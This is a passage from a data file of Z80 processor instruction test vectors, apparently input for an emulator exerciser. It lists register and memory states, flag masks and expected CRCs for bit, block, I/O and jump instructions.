vec 0xdd,0xcb,0x00,0x46,mem,0x1234,a,0xaa,f,0xff,bc,0xbbcc,de,0xddee,hl,0x4411,ix,mem ,iy,mem ,sp,0xc000
vec 0x20,0x00,0x00,0x38,mem,0x0000,a,0x00,f,0x28,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x01,0x00,mem,0x00ff,a,0x00,f,0xd7,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0001,iy,0x0001,sp,0x0000
crcs allflags,0x69d8b807,all,0xac375d19,docflags,0x6e0fa1c8,doc,0xd97a7bb8,ccf,0xa16f2455,mptr,0x1085734f
name "BIT N,(XY)"
.bit_n_xyd_ flags s,1,z,1,f5,0,hc,1,f3,0,pv,1,n,1,c,1
vec 0xdd,0xcb,0x00,0x40,mem,0x1234,a,0xaa,f,0xff,bc,0xbbcc,de,0xddee,hl,0x4411,ix,mem ,iy,mem ,sp,0xc000
vec 0x20,0x00,0x00,0x3f,mem,0x0000,a,0x00,f,0x28,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x01,0x00,mem,0x00ff,a,0x00,f,0xd7,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0001,iy,0x0001,sp,0x0000
crcs allflags,0xb99e5a2e,all,0x8e78e922,docflags,0x6870b827,doc,0x62003a45,ccf,0x32675fd1,mptr,0xef605a9e
name "BIT N,(XY),-"
.set_n_a flags s,1,z,1,f5,1,hc,1,f3,1,pv,1,n,1,c,1
vec 0xcb,0xc7,stop,0x00,mem,0x1234,a,0xaa,f,0xff,bc,0xbbcc,de,0xddee,hl,0x4411,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x00,0x38,0x00,0x00,mem,0x0000,a,0x00,f,0x00,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0xff,f,0xff,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0xdc6cce34,all,0x0e29860a,docflags,0xdc6cce34,doc,0x0e29860a,ccf,0x56779cfd,mptr,0xf0154dc0
name "SET N,A"
.set_n_hl flags s,1,z,1,f5,1,hc,1,f3,1,pv,1,n,1,c,1
vec 0xcb,0xc6,stop,0x00,mem,0x1234,a,0xaa,f,0xff,bc,0xbbcc,de,0xddee,hl,mem ,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x00,0x38,0x00,0x00,mem,0x0000,a,0x00,f,0x00,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x00ff,a,0x00,f,0xff,bc,0x0000,de,0x0000,hl,0x0001,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0xeaf0e45d,all,0x514cc2f6,docflags,0xeaf0e45d,doc,0x514cc2f6,ccf,0xa20c0caf,mptr,0x5d434474
name "SET N,(HL)"
.set_n_r flags s,1,z,1,f5,1,hc,1,f3,1,pv,1,n,1,c,1
vec 0xcb,0xc0,stop,0x00,mem,0x1234,a,0xaa,f,0xff,bc,0xbbcc,de,0xddee,hl,mem ,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x00,0x3f,0x00,0x00,mem,0x0000,a,0x00,f,0x00,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0xff,bc,0xffff,de,0xffff,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0x2bb9d994,all,0xbc87a9e1,docflags,0x2bb9d994,doc,0xbc87a9e1,ccf,0x112577dd,mptr,0x6f46591e
name "SET N,[R,(HL)]"
.set_n_xyd flags s,1,z,1,f5,1,hc,1,f3,1,pv,1,n,1,c,1
vec 0xdd,0xcb,0x00,0xc6,mem,0x1234,a,0xaa,f,0xff,bc,0xbbcc,de,0xddee,hl,0x4411,ix,mem ,iy,mem ,sp,0xc000
vec 0x20,0x00,0x00,0x38,mem,0x0000,a,0x00,f,0x00,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x01,0x00,mem,0x00ff,a,0x00,f,0xff,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0001,iy,0x0001,sp,0x0000
crcs allflags,0x2387ec0d,all,0xfc48dc5a,docflags,0x2387ec0d,doc,0xfc48dc5a,ccf,0xc90fadad,mptr,0xf6d0118d
name "SET N,(XY)"
.set_n_xyd_ flags s,1,z,1,f5,1,hc,1,f3,1,pv,1,n,1,c,1
vec 0xdd,0xcb,0x00,0xc0,mem,0x1234,a,0xaa,f,0xff,bc,0xbbcc,de,0xddee,hl,0x4411,ix,mem ,iy,mem ,sp,0xc000
vec 0x20,0x00,0x00,0x3f,mem,0x0000,a,0x00,f,0x00,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x01,0x00,mem,0x00ff,a,0x00,f,0xff,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0001,iy,0x0001,sp,0x0000
crcs allflags,0xdf6769a7,all,0x02392678,docflags,0xdf6769a7,doc,0x02392678,ccf,0x246fb380,mptr,0x4ba4554c
name "SET N,(XY),R"
.res_n_a flags s,1,z,1,f5,1,hc,1,f3,1,pv,1,n,1,c,1
vec 0xcb,0x87,stop,0x00,mem,0x1234,a,0xaa,f,0xff,bc,0xbbcc,de,0xddee,hl,0x4411,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x00,0x38,0x00,0x00,mem,0x0000,a,0x00,f,0x00,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0xff,f,0xff,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0xdc6cce34,all,0x002d3c76,docflags,0xdc6cce34,doc,0x002d3c76,ccf,0x7675bfcf,mptr,0xf0154dc0
name "RES N,A"
.res_n_hl flags s,1,z,1,f5,1,hc,1,f3,1,pv,1,n,1,c,1
vec 0xcb,0x86,stop,0x00,mem,0x1234,a,0xaa,f,0xff,bc,0xbbcc,de,0xddee,hl,mem ,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x00,0x38,0x00,0x00,mem,0x0000,a,0x00,f,0x00,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x00ff,a,0x00,f,0xff,bc,0x0000,de,0x0000,hl,0x0001,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0xeaf0e45d,all,0xe0112a76,docflags,0xeaf0e45d,doc,0xe0112a76,ccf,0xa20c0caf,mptr,0x5d434474
name "RES N,(HL)"
.res_n_r flags s,1,z,1,f5,1,hc,1,f3,1,pv,1,n,1,c,1
vec 0xcb,0x80,stop,0x00,mem,0x1234,a,0xaa,f,0xff,bc,0xbbcc,de,0xddee,hl,mem ,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x00,0x3f,0x00,0x00,mem,0x0000,a,0x00,f,0x00,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0xff,bc,0xffff,de,0xffff,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0x2bb9d994,all,0x4a207df2,docflags,0x2bb9d994,doc,0x4a207df2,ccf,0x86080fa1,mptr,0x6f46591e
name "RES N,[R,(HL)]"
.res_n_xyd flags s,1,z,1,f5,1,hc,1,f3,1,pv,1,n,1,c,1
vec 0xdd,0xcb,0x00,0x86,mem,0x1234,a,0xaa,f,0xff,bc,0xbbcc,de,0xddee,hl,0x4411,ix,mem ,iy,mem ,sp,0xc000
vec 0x20,0x00,0x00,0x38,mem,0x0000,a,0x00,f,0x00,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x01,0x00,mem,0x00ff,a,0x00,f,0xff,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0001,iy,0x0001,sp,0x0000
crcs allflags,0x2387ec0d,all,0x563d39de,docflags,0x2387ec0d,doc,0x563d39de,ccf,0xc90fadad,mptr,0xf6d0118d
name "RES N,(XY)"
.res_n_xyd_ flags s,1,z,1,f5,1,hc,1,f3,1,pv,1,n,1,c,1
vec 0xdd,0xcb,0x00,0x80,mem,0x1234,a,0xaa,f,0xff,bc,0xbbcc,de,0xddee,hl,0x4411,ix,mem ,iy,mem ,sp,0xc000
vec 0x20,0x00,0x00,0x3f,mem,0x0000,a,0x00,f,0x00,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x01,0x00,mem,0x00ff,a,0x00,f,0xff,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0001,iy,0x0001,sp,0x0000
crcs allflags,0xdf6769a7,all,0x54e6da74,docflags,0xdf6769a7,doc,0x54e6da74,ccf,0x43588b31,mptr,0x4ba4554c
name "RES N,(XY),R"
; Block instructions.
.ldi flags s,1,z,1,f5,0,hc,1,f3,0,pv,1,n,1,c,1
vec 0xed,0xa0,stop,0x00,mem,0x1234,a,0xaa,f,0xff,bc,0x0001,de,mem ,hl,mem ,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x00,0x00,0x00,0x00,mem,0x0009,a,0x09,f,0x00,bc,0x0000,de,0x0001,hl,0x0001,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x00f6,a,0xf6,f,0xff,bc,0xffff,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0x74905a21,all,0x171f174f,docflags,0x25ba7a54,doc,0x2ec1e096,ccf,0x082b1261,mptr,0x9c3ee85a
name "LDI"
.ldd flags s,1,z,1,f5,0,hc,1,f3,0,pv,1,n,1,c,1
vec 0xed,0xa8,stop,0x00,mem,0x1234,a,0xaa,f,0xff,bc,0x0001,de,mem ,hl,mem ,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x00,0x00,0x00,0x00,mem,0x0009,a,0x09,f,0x00,bc,0x0000,de,0x0001,hl,0x0001,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x00f6,a,0xf6,f,0xff,bc,0xffff,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0x74905a21,all,0xd752d9bc,docflags,0x25ba7a54,doc,0xee8c2e65,ccf,0x082b1261,mptr,0x9c3ee85a
name "LDD"
.ldir flags s,1,z,1,f5,0,hc,1,f3,0,pv,1,n,1,c,1
vec 0xed,0xb0,stop,0x00,mem,0x1234,a,0xaa,f,0xff,bc,0x0001,de,mem ,hl,mem ,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x00,0x00,0x00,0x00,mem,0x0009,a,0x09,f,0x00,bc,0x0000,de,0x0001,hl,0x0001,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x00f6,a,0xf6,f,0xff,bc,0x0002,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0x62a5e441,all,0xced3ea2d,docflags,0xb06f0da8,doc,0xec3d8ab1,ccf,0xe25b3a0b,mptr,0xec8a174b
name "LDIR"
.lddr flags s,1,z,1,f5,0,hc,1,f3,0,pv,1,n,1,c,1
vec 0xed,0xb8,stop,0x00,mem,0x1234,a,0xaa,f,0xff,bc,0x0001,de,mem+1 ,hl,mem+1 ,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x00,0x00,0x00,0x00,mem,0x0900,a,0x09,f,0x00,bc,0x0000,de,0x0001,hl,0x0001,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0xf600,a,0xf6,f,0xff,bc,0x0002,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0x4650d4e7,all,0x495a8b20,docflags,0xb06f0da8,doc,0x63308b9d,ccf,0xe25b3a0b,mptr,0xec8a174b
name "LDDR"
.cpi flags s,1,z,1,f5,0,hc,1,f3,0,pv,1,n,1,c,1
vec 0xed,0xa1,stop,0x00,mem,0x0000,a,0x00,f,0xff,bc,0x0001,de,0xddee,hl,mem ,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x00,0x00,0x00,0x00,mem,0x0089,a,0x89,f,0x00,bc,0x0000,de,0x0000,hl,0x0001,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x0076,a,0x76,f,0xff,bc,0xffff,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0xb051c618,all,0xbe38bd05,docflags,0x563bc514,doc,0x1cb7d5cb,ccf,0x435c423d,mptr,0x82fe1009
name "CPI"
.cpd flags s,1,z,1,f5,0,hc,1,f3,0,pv,1,n,1,c,1
vec 0xed,0xa9,stop,0x00,mem,0x0000,a,0x00,f,0xff,bc,0x0001,de,0xddee,hl,mem ,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x00,0x00,0x00,0x00,mem,0x0089,a,0x89,f,0x00,bc,0x0000,de,0x0000,hl,0x0001,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x0076,a,0x76,f,0xff,bc,0xffff,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0xb051c618,all,0xc919bd72,docflags,0x563bc514,doc,0x6b96d5bc,ccf,0x435c423d,mptr,0x82fe1009
name "CPD"
.cpir flags s,1,z,1,f5,0,hc,1,f3,0,pv,1,n,1,c,1
vec 0xed,0xb1,stop,0x00,mem,0x0000,a,0x00,f,0xff,bc,0x0001,de,0xddee,hl,mem ,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x00,0x00,0x00,0x00,mem,0x0089,a,0x89,f,0x00,bc,0x0000,de,0x0000,hl,0x0001,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x0076,a,0x76,f,0xff,bc,0x0002,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0x7fe4a6e0,all,0x2e4300cb,docflags,0xe905a9e2,doc,0x54e35cb0,ccf,0xc93a1349,mptr,0xc83e7419
name "CPIR"
.cpdr flags s,1,z,1,f5,0,hc,1,f3,0,pv,1,n,1,c,1
vec 0xed,0xb9,stop,0x00,mem,0x0000,a,0x00,f,0xff,bc,0x0001,de,0xddee,hl,mem ,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x00,0x00,0x00,0x00,mem,0x8900,a,0x89,f,0x00,bc,0x0000,de,0x0000,hl,0x0001,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x7600,a,0x76,f,0xff,bc,0x0002,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0x76cc7038,all,0x9ddab56a,docflags,0x5dfed8d5,doc,0x38a78535,ccf,0xaea4d455,mptr,0xb9d65ad9
name "CPDR"
; Input/Output.
.in_a_n flags s,1,z,1,f5,1,hc,1,f3,1,pv,1,n,1,c,1
vec 0xdb,0xfe,stop,0x00,mem,0x1234,a,0xaa,f,0xff,bc,0xbbcc,de,0xddee,hl,0x4411,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0x00,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0xff,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0x919e2255,all,0x15f7d9b8,docflags,0x919e2255,doc,0x15f7d9b8,ccf,0xc3f6460b,mptr,0x253c1992
name "IN A,(N)"
.in_r_c flags s,1,z,1,f5,0,hc,1,f3,0,pv,1,n,1,c,1
vec 0xed,0x40,stop,0x00,mem,0x1234,a,0xaa,f,0xff,bc,0xbbfe,de,0xddee,hl,0x4411,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x00,0x38,0x00,0x00,mem,0x0000,a,0x00,f,0x00,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0xff,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0x61f21a52,all,0xea2912bf,docflags,0xb6433321,doc,0x9c9c07ec,ccf,0x4801a633,mptr,0x587e9d23
name "IN R,(C)"
.in_c flags s,1,z,1,f5,0,hc,1,f3,0,pv,1,n,1,c,1
vec 0xed,0x70,stop,0x00,mem,0x1234,a,0xaa,f,0xff,bc,0xbbfe,de,0xddee,hl,0x4411,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0x00,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0xff,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0x8f4b242f,all,0x68392c0e,docflags,0x41dd7fcb,doc,0xb285546f,ccf,0x1efcf040,mptr,0x253c1992
name "IN (C)"
.ini flags s,0,z,1,f5,0,hc,0,f3,0,pv,0,n,0,c,0
vec 0xed,0xa2,stop,0x00,mem,0x1234,a,0xaa,f,0xff,bc,0x00fe,de,0xddee,hl,mem ,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0x00,bc,0xff00,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0xff,bc,0x0000,de,0x0000,hl,0x0001,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0x45c2bf9a,all,0x03da7534,docflags,0xdf14e043,doc,0x07d1b0d1,ccf,0x3c480ae3,mptr,0x630733cb
name "INI"
.ind flags s,0,z,1,f5,0,hc,0,f3,0,pv,0,n,0,c,0
vec 0xed,0xaa,stop,0x00,mem,0x1234,a,0xaa,f,0xff,bc,0x00fe,de,0xddee,hl,mem ,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0x00,bc,0xff00,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0xff,bc,0x0000,de,0x0000,hl,0x0001,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0xa349e955,all,0x4c306b87,docflags,0xdf14e043,doc,0x3dc685fa,ccf,0xc90849ab,mptr,0x630733cb
name "IND"
.inir flags s,0,z,1,f5,0,hc,0,f3,0,pv,0,n,0,c,0
vec 0xed,0xb2,stop,0x00,mem,0x1234,a,0xaa,f,0xff,bc,0x01fe,de,0xddee,hl,mem ,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0x00,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0xff,bc,0x0200,de,0x0000,hl,0x0001,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0x95f331a2,all,0xb1c580a1,docflags,0x550e6d82,doc,0xf9e081a3,ccf,0x34683092,mptr,0x371c7dba
name "INIR"
.indr flags s,0,z,1,f5,0,hc,0,f3,0,pv,0,n,0,c,0
vec 0xed,0xb2,stop,0x00,mem,0x1234,a,0xaa,f,0xff,bc,0x01fe,de,0xddee,hl,mem+1 ,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0x00,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0xff,bc,0x0200,de,0x0000,hl,0x0001,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0x95f331a2,all,0x7cfda032,docflags,0x550e6d82,doc,0x34d8a130,ccf,0x34683092,mptr,0x371c7dba
name "INDR"
.out_n_a flags s,1,z,1,f5,1,hc,1,f3,1,pv,1,n,1,c,1
vec 0xd3,0xfe,stop,0x00,mem,0x1234,a,0xaa,f,0xff,bc,0xbbcc,de,0xddee,hl,0x4411,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0xff,f,0x00,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0xff,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0xf99ab3eb,all,0xfaafa4d0,docflags,0xf99ab3eb,doc,0xfaafa4d0,ccf,0x04270b9e,mptr,0x6d2bbd2a
name "OUT (N),A"
.out_c_r flags s,1,z,1,f5,1,hc,1,f3,1,pv,1,n,1,c,1
vec 0xed,0x41,stop,0x00,mem,0x1234,a,0xaa,f,0xff,bc,0x00fe,de,0xddee,hl,0x4411,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x00,0x38,0x00,0x00,mem,0x0000,a,0x00,f,0x00,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0xff,f,0xff,bc,0xff00,de,0xffff,hl,0xffff,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0x2c0d4f69,all,0x57e2afd4,docflags,0x2c0d4f69,doc,0x57e2afd4,ccf,0x36547c3c,mptr,0xbf071c7d
name "OUT (C),R"
.out_c_0 flags s,1,z,1,f5,1,hc,1,f3,1,pv,1,n,1,c,1
vec 0xed,0x71,stop,0x00,mem,0x1234,a,0xaa,f,0xff,bc,0x00fe,de,0xddee,hl,0x4411,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0x00,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0xff,f,0xff,bc,0xff00,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0xa6eacb74,all,0x5472fbd0,docflags,0xa6eacb74,doc,0x5472fbd0,ccf,0x226855e0,mptr,0xb7b56c76
name "OUT (C),0"
.outi flags s,0,z,1,f5,0,hc,0,f3,0,pv,0,n,0,c,0
vec 0xed,0xa3,stop,0x00,mem,0x0000,a,0xaa,f,0xff,bc,0x00fe,de,0xddee,hl,mem ,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x00,0x00,0x00,0x00,mem,0x0087,a,0x00,f,0x00,bc,0x8700,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x0078,a,0x00,f,0xff,bc,0x7800,de,0x0000,hl,0x0001,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0xf0c58202,all,0x6b09c8e2,docflags,0x27b692d1,doc,0x58c80d63,ccf,0xba903ab0,mptr,0xa8b663f9
name "OUTI"
.outd flags s,0,z,1,f5,0,hc,0,f3,0,pv,0,n,0,c,0
vec 0xed,0xab,stop,0x00,mem,0x0000,a,0xaa,f,0xff,bc,0x00fe,de,0xddee,hl,mem ,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x00,0x00,0x00,0x00,mem,0x0087,a,0x00,f,0x00,bc,0x8700,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x0078,a,0x00,f,0xff,bc,0x7800,de,0x0000,hl,0x0001,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0xfa1ad03e,all,0xc186ed7f,docflags,0x27b692d1,doc,0x5425a97b,ccf,0x03275bee,mptr,0xa8b663f9
name "OUTD"
.otir flags s,0,z,1,f5,0,hc,0,f3,0,pv,0,n,0,c,0
vec 0xed,0xb3,stop,0x00,mem,0x0000,a,0xaa,f,0xff,bc,0x01fe,de,0xddee,hl,mem ,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x00,0x00,0x00,0x00,mem,0x0087,a,0x00,f,0x00,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x0078,a,0x00,f,0xff,bc,0x0200,de,0x0000,hl,0x0001,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0x1a975ed3,all,0x366e1554,docflags,0x369c862e,doc,0xa24c0ff2,ccf,0x275e3430,mptr,0x9ff6297f
name "OTIR"
.otdr flags s,0,z,1,f5,0,hc,0,f3,0,pv,0,n,0,c,0
vec 0xed,0xbb,stop,0x00,mem,0x0000,a,0xaa,f,0xff,bc,0x01fe,de,0xddee,hl,mem+1 ,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x00,0x00,0x00,0x00,mem,0x8700,a,0x00,f,0x00,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x7800,a,0x00,f,0xff,bc,0x0200,de,0x0000,hl,0x0001,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0xb611c16f,all,0x1781b976,docflags,0x369c862e,doc,0x23b560db,ccf,0xde272f70,mptr,0xd7cf070f
name "OTDR"
; Jumps.
.jp_nn flags s,1,z,1,f5,1,hc,1,f3,1,pv,1,n,1,c,1
vec 0xc3,jmpl,jmph,stop,mem,0x1234,a,0xaa,f,0xff,bc,0xbbcc,de,0xddee,hl,0x4411,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0x00,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0xff,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0x919e2255,all,0x719d5e47,docflags,0x919e2255,doc,0x719d5e47,ccf,0xc3f6460b,mptr,0xebaa4276
name "JP NN"
.jp_cc_nn flags s,1,z,1,f5,1,hc,1,f3,1,pv,1,n,1,c,1
vec 0xc2,jmpl,jmph,stop,mem,0x1234,a,0xaa,f,0xff,bc,0xbbcc,de,0xddee,hl,0x4411,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x38,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0x00,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0xff,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0x8b69e182,all,0x0f8b6dcb,docflags,0x8b69e182,doc,0x0f8b6dcb,ccf,0x05e705e5,mptr,0x4f18bfbb
name "JP CC,NN"
.jp_hl flags s,1,z,1,f5,1,hc,1,f3,1,pv,1,n,1,c,1
vec 0xe9,stop,0x00,0x00,mem,0x1234,a,0xaa,f,0xff,bc,0xbbcc,de,0xddee,hl,jmp ,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0x00,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0xff,bc,0x0000,de,0x0000,hl,0x0001,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0x3692d4d4,all,0xc45f00be,docflags,0x3692d4d4,doc,0xc45f00be,ccf,0xba13c043,mptr,0xd33d5eb9
name "JP (HL)"
.jp_xy flags s,1,z,1,f5,1,hc,1,f3,1,pv,1,n,1,c,1
vec 0xdd,0xe9,stop,0x00,mem,0x1234,a,0xaa,f,0xff,bc,0xbbcc,de,0xddee,hl,0x4411,ix,jmp ,iy,jmp ,sp,0xc000
vec 0x20,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0x00,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0xff,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0001,iy,0x0001,sp,0x0000
crcs allflags,0xa33672df,all,0x799089df,docflags,0xa33672df,doc,0x799089df,ccf,0x865af2b2,mptr,0xc4b20f8c
name "JP (XY)"
.jr_n flags s,1,z,1,f5,1,hc,1,f3,1,pv,1,n,1,c,1
vec 0x18,0x00,0x03,stop,mem,0x1234,a,0xaa,f,0xff,bc,0xbbcc,de,0xddee,hl,0x4411,ix,0xdd88,iy,0xfd77,sp,0xc000
